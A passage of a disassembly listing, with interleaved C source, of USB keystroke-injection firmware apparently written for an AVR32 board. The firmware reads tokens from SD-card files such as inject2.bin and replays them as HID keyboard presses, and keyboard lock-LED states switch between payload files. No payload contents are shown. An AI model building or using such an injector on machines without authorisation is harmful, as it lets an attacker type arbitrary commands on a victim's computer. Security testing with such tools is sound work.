r8,r8[0x3] +800074a0: 4e 09 lddpc r9,80007620 +800074a2: b2 88 st.b r9[0x0],r8 + if (udc_num_configuration == 0) { +800074a4: 58 08 cp.w r8,0 +800074a6: c2 20 breq 800074ea + udc_ptr_conf = &udc_config.conf_hs[udc_num_configuration - 1]; + } else +#endif + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; +800074a8: 20 18 sub r8,1 +800074aa: 4d 99 lddpc r9,8000760c +800074ac: 72 19 ld.w r9,r9[0x4] +800074ae: f2 08 00 38 add r8,r9,r8<<0x3 +800074b2: 4d d9 lddpc r9,80007624 +800074b4: 93 08 st.w r9[0x0],r8 + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; +800074b6: 70 08 ld.w r8,r8[0x0] +800074b8: 11 c9 ld.ub r9,r8[0x4] +800074ba: 30 08 mov r8,0 +800074bc: f0 09 18 00 cp.b r9,r8 +800074c0: c1 50 breq 800074ea +800074c2: 30 07 mov r7,0 + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) +800074c4: 0e 95 mov r5,r7 + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; +800074c6: 4d 86 lddpc r6,80007624 + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) +800074c8: 0a 9b mov r11,r5 +800074ca: 0e 9c mov r12,r7 +800074cc: f0 1f 00 60 mcall 8000764c +800074d0: c0 b0 breq 800074e6 + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { +800074d2: 2f f7 sub r7,-1 +800074d4: 5c 57 castu.b r7 + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; +800074d6: 6c 08 ld.w r8,r6[0x0] +800074d8: 70 08 ld.w r8,r8[0x0] +800074da: 11 c8 ld.ub r8,r8[0x4] +800074dc: ee 08 18 00 cp.b r8,r7 +800074e0: fe 9b ff f4 brhi 800074c8 +800074e4: c0 38 rjmp 800074ea +800074e6: 30 0c mov r12,0 +800074e8: c5 a8 rjmp 8000759c +800074ea: 30 1c mov r12,1 +800074ec: c5 88 rjmp 8000759c + /* Not supported (defined as optional by the USB 2.0 spec) */ + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { +800074ee: 58 18 cp.w r8,1 +800074f0: c2 21 brne 80007534 + // Standard Set Interface request + switch (udd_g_ctrlreq.req.bRequest) { +800074f2: 4c 49 lddpc r9,80007600 +800074f4: 13 9a ld.ub r10,r9[0x1] +800074f6: 30 b9 mov r9,11 +800074f8: f2 0a 18 00 cp.b r10,r9 +800074fc: c1 c1 brne 80007534 + */ +static bool udc_req_std_iface_set_setting(void) +{ + uint8_t iface_num, setting_num; + + if (udd_g_ctrlreq.req.wLength != 0) +800074fe: 4c 18 lddpc r8,80007600 +80007500: 90 39 ld.sh r9,r8[0x6] +80007502: 30 08 mov r8,0 +80007504: f0 09 19 00 cp.h r9,r8 +80007508: c1 41 brne 80007530 + return false; // Error in request + if (!udc_num_configuration) +8000750a: 4c 68 lddpc r8,80007620 +8000750c: 11 89 ld.ub r9,r8[0x0] +8000750e: 30 08 mov r8,0 +80007510: f0 09 18 00 cp.b r9,r8 +80007514: c0 e0 breq 80007530 + return false; // The device is not is configured state yet + + + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + setting_num = udd_g_ctrlreq.req.wValue & 0xFF; +80007516: 4b b8 lddpc r8,80007600 +80007518: 90 16 ld.sh r6,r8[0x2] + + // Disable current setting + if (!udc_iface_disable(iface_num)) +8000751a: 11 d7 ld.ub r7,r8[0x5] +8000751c: 0e 9c mov r12,r7 +8000751e: f0 1f 00 4d mcall 80007650 +80007522: c0 70 breq 80007530 + return false; + + // Enable new setting + return udc_iface_enable(iface_num, setting_num); +80007524: f7 d6 c0 08 bfextu r11,r6,0x0,0x8 +80007528: 0e 9c mov r12,r7 +8000752a: f0 1f 00 49 mcall 8000764c +8000752e: c3 78 rjmp 8000759c +80007530: 30 0c mov r12,0 +80007532: c3 58 rjmp 8000759c + case USB_REQ_SET_INTERFACE: + return udc_req_std_iface_set_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { +80007534: 58 28 cp.w r8,2 +80007536: c3 71 brne 800075a4 + // Standard Set Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { +80007538: 4b 28 lddpc r8,80007600 +8000753a: 11 98 ld.ub r8,r8[0x1] +8000753c: 30 19 mov r9,1 +8000753e: f2 08 18 00 cp.b r8,r9 +80007542: c0 60 breq 8000754e +80007544: 30 39 mov r9,3 +80007546: f2 08 18 00 cp.b r8,r9 +8000754a: c2 81 brne 8000759a +8000754c: c1 48 rjmp 80007574 + * + * \return true if success + */ +static bool udc_req_std_ep_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) +8000754e: 4a d8 lddpc r8,80007600 +80007550: 90 39 ld.sh r9,r8[0x6] +80007552: 30 08 mov r8,0 +80007554: f0 09 19 00 cp.h r9,r8 +80007558: c0 c1 brne 80007570 + return false; + + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { +8000755a: 4a a8 lddpc r8,80007600 +8000755c: 90 19 ld.sh r9,r8[0x2] +8000755e: 30 08 mov r8,0 +80007560: f0 09 19 00 cp.h r9,r8 +80007564: c0 61 brne 80007570 + return udd_ep_clear_halt(udd_g_ctrlreq.req.wIndex & 0xFF); +80007566: 4a 78 lddpc r8,80007600 +80007568: 11 dc ld.ub r12,r8[0x5] +8000756a: f0 1f 00 3b mcall 80007654 +8000756e: c1 78 rjmp 8000759c +80007570: 30 0c mov r12,0 +80007572: c1 58 rjmp 8000759c + * \return true if success + */ +#if (0!=USB_DEVICE_MAX_EP) +static bool udc_req_std_epset_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) +80007574: 4a 38 lddpc r8,80007600 +80007576: 90 39 ld.sh r9,r8[0x6] +80007578: 30 08 mov r8,0 +8000757a: f0 09 19 00 cp.h r9,r8 +8000757e: c0 c1 brne 80007596 + return false; + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { +80007580: 4a 08 lddpc r8,80007600 +80007582: 90 19 ld.sh r9,r8[0x2] +80007584: 30 08 mov r8,0 +80007586: f0 09 19 00 cp.h r9,r8 +8000758a: c0 61 brne 80007596 + return udd_ep_set_halt(udd_g_ctrlreq.req.wIndex & 0xFF); +8000758c: 49 d8 lddpc r8,80007600 +8000758e: 11 dc ld.ub r12,r8[0x5] +80007590: f0 1f 00 32 mcall 80007658 +80007594: c0 48 rjmp 8000759c +80007596: 30 0c mov r12,0 +80007598: c0 28 rjmp 8000759c +8000759a: 30 0c mov r12,0 + return false; // Error from USB host + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + if (udc_reqstd()) +8000759c: 58 0c cp.w r12,0 +8000759e: c0 30 breq 800075a4 +800075a0: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 + return true; + } + + // If interface request then try to decode it in UDI + if (Udd_setup_recipient() == USB_REQ_RECIP_INTERFACE) { +800075a4: 49 78 lddpc r8,80007600 +800075a6: 11 88 ld.ub r8,r8[0x0] +800075a8: f1 d8 c0 05 bfextu r8,r8,0x0,0x5 +800075ac: 58 18 cp.w r8,1 +800075ae: c2 71 brne 800075fc +static bool udc_req_iface(void) +{ + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (0 == udc_num_configuration) +800075b0: 49 c8 lddpc r8,80007620 +800075b2: 11 89 ld.ub r9,r8[0x0] +800075b4: 30 08 mov r8,0 +800075b6: f0 09 18 00 cp.b r9,r8 +800075ba: c2 10 breq 800075fc + return false; // The device is not is configured state yet + // Check interface number + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; +800075bc: 49 18 lddpc r8,80007600 +800075be: 11 d7 ld.ub r7,r8[0x5] + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) +800075c0: 49 98 lddpc r8,80007624 +800075c2: 70 08 ld.w r8,r8[0x0] +800075c4: 70 08 ld.w r8,r8[0x0] +800075c6: 11 c8 ld.ub r8,r8[0x4] +800075c8: ee 08 18 00 cp.b r8,r7 +800075cc: e0 88 00 18 brls 800075fc + return false; + + //* To update udc_ptr_iface with the selected interface in request + // Select first alternate setting of interface to update udc_ptr_iface + // before calling udi_api->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) +800075d0: 0e 96 mov r6,r7 +800075d2: 30 0b mov r11,0 +800075d4: 0e 9c mov r12,r7 +800075d6: f0 1f 00 15 mcall 80007628 +800075da: c1 10 breq 800075fc + return false; + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; +800075dc: 49 28 lddpc r8,80007624 +800075de: 70 08 ld.w r8,r8[0x0] +800075e0: 70 18 ld.w r8,r8[0x4] +800075e2: f0 07 03 27 ld.w r7,r8[r7<<0x2] + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) +800075e6: 6e 3c ld.w r12,r7[0xc] +800075e8: 5d 1c icall r12 +800075ea: 18 9b mov r11,r12 +800075ec: 0c 9c mov r12,r6 +800075ee: f0 1f 00 0f mcall 80007628 +800075f2: c0 50 breq 800075fc + return false; + + // Send the SETUP request to the UDI corresponding to the interface number + return udi_api->setup(); +800075f4: 6e 2c ld.w r12,r7[0x8] +800075f6: 5d 1c icall r12 +800075f8: e3 cd 80 e0 ldm sp++,r5-r7,pc +800075fc: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80007600: 00 00 add r0,r0 +80007602: 04 28 rsub r8,r2 +80007604: 00 00 add r0,r0 +80007606: 01 f0 ld.ub r0,r0[0x7] +80007608: 80 00 ld.sh r0,r0[0x0] +8000760a: 32 3c mov r12,35 +8000760c: 00 00 add r0,r0 +8000760e: 00 88 andn r8,r0 +80007610: 00 00 add r0,r0 +80007612: 00 a4 st.w r0++,r4 +80007614: 00 00 add r0,r0 +80007616: 00 da st.w --r0,r10 +80007618: 00 00 add r0,r0 +8000761a: 00 b4 st.h r0++,r4 +8000761c: 00 00 add r0,r0 +8000761e: 00 c0 st.b r0++,r0 +80007620: 00 00 add r0,r0 +80007622: 01 f2 ld.ub r2,r0[0x7] +80007624: 00 00 add r0,r0 +80007626: 01 e8 ld.ub r8,r0[0x6] +80007628: 80 00 ld.sh r0,r0[0x0] +8000762a: 6f 60 ld.w r0,r7[0x58] +8000762c: 00 00 add r0,r0 +8000762e: 01 ec ld.ub r12,r0[0x6] +80007630: 80 00 ld.sh r0,r0[0x0] +80007632: 32 48 mov r8,36 +80007634: 00 00 add r0,r0 +80007636: 01 ee ld.ub lr,r0[0x6] +80007638: 80 00 ld.sh r0,r0[0x0] +8000763a: 70 34 ld.w r4,r8[0xc] +8000763c: 80 00 ld.sh r0,r0[0x0] +8000763e: 76 60 ld.w r0,r11[0x18] +80007640: 80 00 ld.sh r0,r0[0x0] +80007642: 76 5e ld.w lr,r11[0x14] +80007644: 80 00 ld.sh r0,r0[0x0] +80007646: 32 24 mov r4,34 +80007648: 80 00 ld.sh r0,r0[0x0] +8000764a: 71 10 ld.w r0,r8[0x44] +8000764c: 80 00 ld.sh r0,r0[0x0] +8000764e: 70 4c ld.w r12,r8[0x10] +80007650: 80 00 ld.sh r0,r0[0x0] +80007652: 70 ac ld.w r12,r8[0x28] +80007654: 80 00 ld.sh r0,r0[0x0] +80007656: 32 5c mov r12,37 +80007658: 80 00 ld.sh r0,r0[0x0] +8000765a: 33 2c mov r12,50 + +8000765c : +} + +//------------------------------------------------------------------- +void main_resume_action(void) +{ +} +8000765c: 5e fc retal r12 + +8000765e : + +//------------------------------------------------------------------- +// If remote wakeup enable/disable is supported insert code below +void main_remotewakeup_enable(void) +{ +} +8000765e: 5e fc retal r12 + +80007660 : + +//------------------------------------------------------------------- +void main_remotewakeup_disable(void) +{ +} +80007660: 5e fc retal r12 + +80007662 : +//------------------------------------------------------------------- +bool main_kbd_enable(void) +{ + //main_b_kbd_enable = true; + return true; +} +80007662: 5e ff retal 1 + +80007664 : +//------------------------------------------------------------------- +bool main_kbd_disable(void) +{ + //main_b_kbd_enable = false; mod + return false; +} +80007664: 5e fd retal 0 +80007666: d7 03 nop + +80007668 : + +//------------------------------------------------------------------- +void main_kbd_change(uint8_t value) +{ +80007668: eb cd 40 c0 pushm r6-r7,lr +8000766c: 18 97 mov r7,r12 + //this is called when LEDs CAPS LCK, NUM LCK change + if (value & HID_LED_NUM_LOCK) { +8000766e: f1 dc c0 01 bfextu r8,r12,0x0,0x1 +80007672: c0 f0 breq 80007690 + // Here, turn on Num LED + LED_On( LED1 ); +80007674: 30 2c mov r12,2 +80007676: f0 1f 00 17 mcall 800076d0 + injectFile = "A:\\inject2.bin"; +8000767a: 49 76 lddpc r6,800076d4 +8000767c: 49 78 lddpc r8,800076d8 +8000767e: 8d 08 st.w r6[0x0],r8 + nav_reset(); +80007680: f0 1f 00 17 mcall 800076dc + nav_setcwd( injectFile, true, false ); +80007684: 30 0a mov r10,0 +80007686: 30 1b mov r11,1 +80007688: 6c 0c ld.w r12,r6[0x0] +8000768a: f0 1f 00 16 mcall 800076e0 +8000768e: c0 48 rjmp 80007696 + } else{ + // Here, turn off Num LED + LED_Off( LED1 ); +80007690: 30 2c mov r12,2 +80007692: f0 1f 00 15 mcall 800076e4 + } + if (value & HID_LED_CAPS_LOCK) { +80007696: 0e 98 mov r8,r7 +80007698: e2 18 00 02 andl r8,0x2,COH +8000769c: c0 f0 breq 800076ba + // Here, turn on CAPS LED + LED_On( LED0 ); +8000769e: 30 1c mov r12,1 +800076a0: f0 1f 00 0c mcall 800076d0 + injectFile = "A:\\inject3.bin"; +800076a4: 48 c6 lddpc r6,800076d4 +800076a6: 49 18 lddpc r8,800076e8 +800076a8: 8d 08 st.w r6[0x0],r8 + nav_reset(); +800076aa: f0 1f 00 0d mcall 800076dc + nav_setcwd( injectFile, true, false ); +800076ae: 30 0a mov r10,0 +800076b0: 30 1b mov r11,1 +800076b2: 6c 0c ld.w r12,r6[0x0] +800076b4: f0 1f 00 0b mcall 800076e0 +800076b8: c0 48 rjmp 800076c0 + } else{ + // Here, turn off CAPS LED + LED_Off( LED0 ); +800076ba: 30 1c mov r12,1 +800076bc: f0 1f 00 0a mcall 800076e4 + } + if (value & HID_LED_SCROLL_LOCK) { +800076c0: e2 17 00 04 andl r7,0x4,COH +800076c4: c0 40 breq 800076cc + // Here, turn on Caps LED + injectFile = "A:\\inject3.bin"; +800076c6: 48 99 lddpc r9,800076e8 +800076c8: 48 38 lddpc r8,800076d4 +800076ca: 91 09 st.w r8[0x0],r9 +800076cc: e3 cd 80 c0 ldm sp++,r6-r7,pc +800076d0: 80 00 ld.sh r0,r0[0x0] +800076d2: 20 5c sub r12,5 +800076d4: 00 00 add r0,r0 +800076d6: 00 e4 st.h --r0,r4 +800076d8: 80 00 ld.sh r0,r0[0x0] +800076da: 7f 54 ld.w r4,pc[0x54] +800076dc: 80 00 ld.sh r0,r0[0x0] +800076de: 68 d0 ld.w r0,r4[0x34] +800076e0: 80 00 ld.sh r0,r0[0x0] +800076e2: 66 c0 ld.w r0,r3[0x30] +800076e4: 80 00 ld.sh r0,r0[0x0] +800076e6: 20 ac sub r12,10 +800076e8: 80 00 ld.sh r0,r0[0x0] +800076ea: 7f 64 ld.w r4,pc[0x58] + +800076ec : + } +} + +//------------------------------------------------------------------- +void main_suspend_action(void) +{ +800076ec: d4 01 pushm lr + LED_Off(LED0); +800076ee: 30 1c mov r12,1 +800076f0: f0 1f 00 03 mcall 800076fc + LED_Off(LED1); +800076f4: 30 2c mov r12,2 +800076f6: f0 1f 00 02 mcall 800076fc +} +800076fa: d8 02 popm pc +800076fc: 80 00 ld.sh r0,r0[0x0] +800076fe: 20 ac sub r12,10 + +80007700
: + } +} + +// Main Method - IRQ, CLCK, INIT setup +//------------------------------------------------------------------- +int main(void) { +80007700: eb cd 40 80 pushm r7,lr +80007704: 20 5d sub sp,20 + + uint32_t sizeTemp; + + // init cpu + irq_initialize_vectors(); +80007706: f0 1f 00 33 mcall 800077d0 + cpu_irq_enable(); +8000770a: d5 03 csrf 0x10 +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t i; + + for (i = 0; i < SLEEPMGR_NR_OF_MODES - 1; i++) { + sleepmgr_locks[i] = 0; +8000770c: 4b 28 lddpc r8,800077d4 +8000770e: 30 09 mov r9,0 +80007710: b0 89 st.b r8[0x0],r9 +80007712: b0 99 st.b r8[0x1],r9 +80007714: b0 a9 st.b r8[0x2],r9 +80007716: b0 b9 st.b r8[0x3],r9 +80007718: b0 c9 st.b r8[0x4],r9 +8000771a: b0 d9 st.b r8[0x5],r9 + } + sleepmgr_locks[SLEEPMGR_NR_OF_MODES - 1] = 1; +8000771c: 30 19 mov r9,1 +8000771e: b0 e9 st.b r8[0x6],r9 + + // init board + sleepmgr_init(); + sysclk_init(); +80007720: f0 1f 00 2e mcall 800077d8 + board_init(); +80007724: f0 1f 00 2e mcall 800077dc + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; +80007728: 4a e8 lddpc r8,800077e0 +8000772a: 1a 97 mov r7,sp +8000772c: f0 ea 00 00 ld.d r10,r8[0] +80007730: fa eb 00 00 st.d sp[0],r10 +80007734: f0 e8 00 08 ld.d r8,r8[8] +80007738: fa e9 00 08 st.d sp[8],r8 + + // assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, +8000773c: 30 4b mov r11,4 +8000773e: 4a ac lddpc r12,800077e4 +80007740: f0 1f 00 2a mcall 800077e8 + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); + + // initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); +80007744: 1a 9b mov r11,sp +80007746: fe 7c 24 00 mov r12,-56320 +8000774a: f0 1f 00 29 mcall 800077ec + + // set SPI selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); +8000774e: 30 09 mov r9,0 +80007750: 12 9a mov r10,r9 +80007752: 12 9b mov r11,r9 +80007754: fe 7c 24 00 mov r12,-56320 +80007758: f0 1f 00 26 mcall 800077f0 + + // enable SPI module. + spi_enable(SD_MMC_SPI); +8000775c: fe 7c 24 00 mov r12,-56320 +80007760: f0 1f 00 25 mcall 800077f4 + + // Initialize SD/MMC driver with SPI clock (PBA). + sd_mmc_spi_init(spiOptions, pba_hz); +80007764: 20 4d sub sp,16 +80007766: ee e8 00 00 ld.d r8,r7[0] +8000776a: fa e9 00 00 st.d sp[0],r8 +8000776e: ee e8 00 08 ld.d r8,r7[8] +80007772: fa e9 00 08 st.d sp[8],r8 +80007776: e0 6c 1b 00 mov r12,6912 +8000777a: ea 1c 00 b7 orh r12,0xb7 +8000777e: f0 1f 00 1f mcall 800077f8 + + // initialize SD/MMC resources: GPIO, SPI. + sd_mmc_resources_init(FOSC0); + + // test if the memory is ready - using the control access memory abstraction layer (/SERVICES/MEMORY/CTRL_ACCESS/) + if (mem_test_unit_ready(LUN_ID_SD_MMC_SPI_MEM) == CTRL_GOOD) { +80007782: 30 0c mov r12,0 +80007784: f0 1f 00 1e mcall 800077fc +80007788: 2f cd sub sp,-16 +8000778a: 58 0c cp.w r12,0 +8000778c: c0 f1 brne 800077aa + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); +8000778e: fa cb ff f0 sub r11,sp,-16 +80007792: f0 1f 00 1c mcall 80007800 + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } + } + + nav_reset(); +80007796: f0 1f 00 1c mcall 80007804 + if( !nav_setcwd( injectFile, true, false ) ) { +8000779a: 30 0a mov r10,0 +8000779c: 30 1b mov r11,1 +8000779e: 49 b8 lddpc r8,80007808 +800077a0: 70 0c ld.w r12,r8[0x0] +800077a2: f0 1f 00 1b mcall 8000780c +800077a6: c0 70 breq 800077b4 +800077a8: c0 e8 rjmp 800077c4 + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); + } + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } +800077aa: 30 27 mov r7,2 +800077ac: 0e 9c mov r12,r7 +800077ae: f0 1f 00 19 mcall 80007810 +800077b2: cf db rjmp 800077ac + + nav_reset(); + if( !nav_setcwd( injectFile, true, false ) ) { + //try to open a://inject.bin else sit here + while(true) { + LED_On( LED1 ); +800077b4: 30 27 mov r7,2 +800077b6: 0e 9c mov r12,r7 +800077b8: f0 1f 00 16 mcall 80007810 + for (int i=0; i<1000; i++){} + LED_Off(LED1); +800077bc: 0e 9c mov r12,r7 +800077be: f0 1f 00 16 mcall 80007814 +800077c2: cf ab rjmp 800077b6 + +/*! \brief Start the USB Device stack + */ +static inline void udc_start(void) +{ + udd_enable(); +800077c4: f0 1f 00 15 mcall 80007818 + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +static inline void udc_attach(void) +{ + udd_attach(); +800077c8: f0 1f 00 15 mcall 8000781c +800077cc: c0 08 rjmp 800077cc +800077ce: 00 00 add r0,r0 +800077d0: 80 00 ld.sh r0,r0[0x0] +800077d2: 2f 88 sub r8,-8 +800077d4: 00 00 add r0,r0 +800077d6: 07 50 ld.sh r0,--r3 +800077d8: 80 00 ld.sh r0,r0[0x0] +800077da: 69 88 ld.w r8,r4[0x60] +800077dc: 80 00 ld.sh r0,r0[0x0] +800077de: 20 04 sub r4,0 +800077e0: 80 00 ld.sh r0,r0[0x0] +800077e2: 7f 44 ld.w r4,pc[0x50] +800077e4: 80 00 ld.sh r0,r0[0x0] +800077e6: 7f 84 ld.w r4,pc[0x60] +800077e8: 80 00 ld.sh r0,r0[0x0] +800077ea: 2e 58 sub r8,-27 +800077ec: 80 00 ld.sh r0,r0[0x0] +800077ee: 30 2e mov lr,2 +800077f0: 80 00 ld.sh r0,r0[0x0] +800077f2: 30 66 mov r6,6 +800077f4: 80 00 ld.sh r0,r0[0x0] +800077f6: 31 c0 mov r0,28 +800077f8: 80 00 ld.sh r0,r0[0x0] +800077fa: 2c 08 sub r8,-64 +800077fc: 80 00 ld.sh r0,r0[0x0] +800077fe: 6a bc ld.w r12,r5[0x2c] +80007800: 80 00 ld.sh r0,r0[0x0] +80007802: 6a d0 ld.w r0,r5[0x34] +80007804: 80 00 ld.sh r0,r0[0x0] +80007806: 68 d0 ld.w r0,r4[0x34] +80007808: 00 00 add r0,r0 +8000780a: 00 e4 st.h --r0,r4 +8000780c: 80 00 ld.sh r0,r0[0x0] +8000780e: 66 c0 ld.w r0,r3[0x30] +80007810: 80 00 ld.sh r0,r0[0x0] +80007812: 20 5c sub r12,5 +80007814: 80 00 ld.sh r0,r0[0x0] +80007816: 20 ac sub r12,10 +80007818: 80 00 ld.sh r0,r0[0x0] +8000781a: 37 8c mov r12,120 +8000781c: 80 00 ld.sh r0,r0[0x0] +8000781e: 35 d8 mov r8,93 + +80007820 : +} + +// process a USB frame +//------------------------------------------------------------------- +void process_frame(uint16_t framenumber) +{ +80007820: eb cd 40 80 pushm r7,lr + static uint8_t wait = 0; + static uint16_t debounce = 0; + static uint16_t injectToken = 0x0000; + + // scan process running each 2ms + cpt_sof++; +80007824: 4d 79 lddpc r9,80007980 +80007826: 13 88 ld.ub r8,r9[0x0] +80007828: 2f f8 sub r8,-1 +8000782a: b2 88 st.b r9[0x0],r8 + if( 2 > cpt_sof ) +8000782c: 30 19 mov r9,1 +8000782e: f2 08 18 00 cp.b r8,r9 +80007832: e0 88 00 a4 brls 8000797a + return; + cpt_sof = 0; +80007836: 30 09 mov r9,0 +80007838: 4d 28 lddpc r8,80007980 +8000783a: b0 89 st.b r8[0x0],r9 + + // pulse led + //LED_Set_Intensity( LED0, framenumber >> 1 ); + + // debounce switch + if( debounce > 0 ) --debounce; +8000783c: 4d 28 lddpc r8,80007984 +8000783e: 90 08 ld.sh r8,r8[0x0] +80007840: 58 08 cp.w r8,0 +80007842: c0 40 breq 8000784a +80007844: 20 18 sub r8,1 +80007846: 4d 09 lddpc r9,80007984 +80007848: b2 08 st.h r9[0x0],r8 + + // injection state machine + switch(state) { +8000784a: 4d 08 lddpc r8,80007988 +8000784c: 70 08 ld.w r8,r8[0x0] +8000784e: 58 98 cp.w r8,9 +80007850: e0 8b 00 92 brhi 80007974 +80007854: 4c e9 lddpc r9,8000798c +80007856: f2 08 03 2f ld.w pc,r9[r8<<0x2] + + case state_IDLE: + // check switch + if( gpio_get_pin_value(GPIO_JOYSTICK_PUSH) == GPIO_JOYSTICK_PUSH_PRESSED ) { +8000785a: 30 dc mov r12,13 +8000785c: f0 1f 00 4d mcall 80007990 +80007860: e0 81 00 8d brne 8000797a + + // debounce + if( debounce == 0 ) { +80007864: 4c 88 lddpc r8,80007984 +80007866: 90 09 ld.sh r9,r8[0x0] +80007868: 30 08 mov r8,0 +8000786a: f0 09 19 00 cp.h r9,r8 +8000786e: e0 81 00 86 brne 8000797a + state = state_START_INJECT; +80007872: 30 19 mov r9,1 +80007874: 4c 58 lddpc r8,80007988 +80007876: 91 09 st.w r8[0x0],r9 + debounce = 250; +80007878: e0 69 00 fa mov r9,250 +8000787c: 4c 28 lddpc r8,80007984 +8000787e: b0 09 st.h r8[0x0],r9 +80007880: e3 cd 80 80 ldm sp++,r7,pc + } + } + break; + + case state_START_INJECT: + file_open(FOPEN_MODE_R); +80007884: 30 9c mov r12,9 +80007886: f0 1f 00 44 mcall 80007994 + state = state_INJECTING; +8000788a: 30 29 mov r9,2 +8000788c: 4b f8 lddpc r8,80007988 +8000788e: 91 09 st.w r8[0x0],r9 + break; +80007890: e3 cd 80 80 ldm sp++,r7,pc + + case state_INJECTING: + + if( file_eof() ) { +80007894: f0 1f 00 41 mcall 80007998 +80007898: c0 80 breq 800078a8 + file_close(); +8000789a: f0 1f 00 41 mcall 8000799c + state = state_IDLE; +8000789e: 30 09 mov r9,0 +800078a0: 4b a8 lddpc r8,80007988 +800078a2: 91 09 st.w r8[0x0],r9 + break; +800078a4: e3 cd 80 80 ldm sp++,r7,pc + } + + injectToken = ( file_getc() | ( file_getc() << 8 ) ); +800078a8: f0 1f 00 3e mcall 800079a0 +800078ac: ef dc b0 10 bfexts r7,r12,0x0,0x10 +800078b0: f0 1f 00 3c mcall 800079a0 +800078b4: 5c 7c castu.h r12 +800078b6: ef ec 10 87 or r7,r7,r12<<0x8 +800078ba: 5c 87 casts.h r7 +800078bc: 4b a8 lddpc r8,800079a4 +800078be: b0 07 st.h r8[0x0],r7 + + if( ( injectToken&0xff ) == 0x00 ) { +800078c0: 0e 98 mov r8,r7 +800078c2: 5c 58 castu.b r8 +800078c4: c0 a1 brne 800078d8 + wait = injectToken>>8; +800078c6: ef d7 c1 08 bfextu r7,r7,0x8,0x8 +800078ca: 4b 88 lddpc r8,800079a8 +800078cc: b0 87 st.b r8[0x0],r7 + state = state_WAIT; +800078ce: 30 99 mov r9,9 +800078d0: 4a e8 lddpc r8,80007988 +800078d2: 91 09 st.w r8[0x0],r9 +800078d4: e3 cd 80 80 ldm sp++,r7,pc + } + else if( ( injectToken>>8 ) == 0x00 ) { +800078d8: ef d7 c1 08 bfextu r7,r7,0x8,0x8 +800078dc: c0 61 brne 800078e8 + state = state_KEY_DOWN; +800078de: 30 39 mov r9,3 +800078e0: 4a a8 lddpc r8,80007988 +800078e2: 91 09 st.w r8[0x0],r9 +800078e4: e3 cd 80 80 ldm sp++,r7,pc + } + else { + state = state_MOD_DOWN; +800078e8: 30 59 mov r9,5 +800078ea: 4a 88 lddpc r8,80007988 +800078ec: 91 09 st.w r8[0x0],r9 +800078ee: e3 cd 80 80 ldm sp++,r7,pc + } + break; + + case state_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); +800078f2: 4a d8 lddpc r8,800079a4 +800078f4: 11 9c ld.ub r12,r8[0x1] +800078f6: f0 1f 00 2e mcall 800079ac + state = state_KEY_UP; +800078fa: 30 49 mov r9,4 +800078fc: 4a 38 lddpc r8,80007988 +800078fe: 91 09 st.w r8[0x0],r9 + break; +80007900: e3 cd 80 80 ldm sp++,r7,pc + + case state_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); +80007904: 4a 88 lddpc r8,800079a4 +80007906: 11 9c ld.ub r12,r8[0x1] +80007908: f0 1f 00 2a mcall 800079b0 + state = state_INJECTING; +8000790c: 30 29 mov r9,2 +8000790e: 49 f8 lddpc r8,80007988 +80007910: 91 09 st.w r8[0x0],r9 + break; +80007912: e3 cd 80 80 ldm sp++,r7,pc + + case state_MOD_DOWN: + udi_hid_kbd_modifier_down(injectToken>>8); +80007916: 4a 48 lddpc r8,800079a4 +80007918: 11 8c ld.ub r12,r8[0x0] +8000791a: f0 1f 00 27 mcall 800079b4 + state = state_MOD_KEY_DOWN; +8000791e: 30 69 mov r9,6 +80007920: 49 a8 lddpc r8,80007988 +80007922: 91 09 st.w r8[0x0],r9 + break; +80007924: e3 cd 80 80 ldm sp++,r7,pc + + case state_MOD_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); +80007928: 49 f8 lddpc 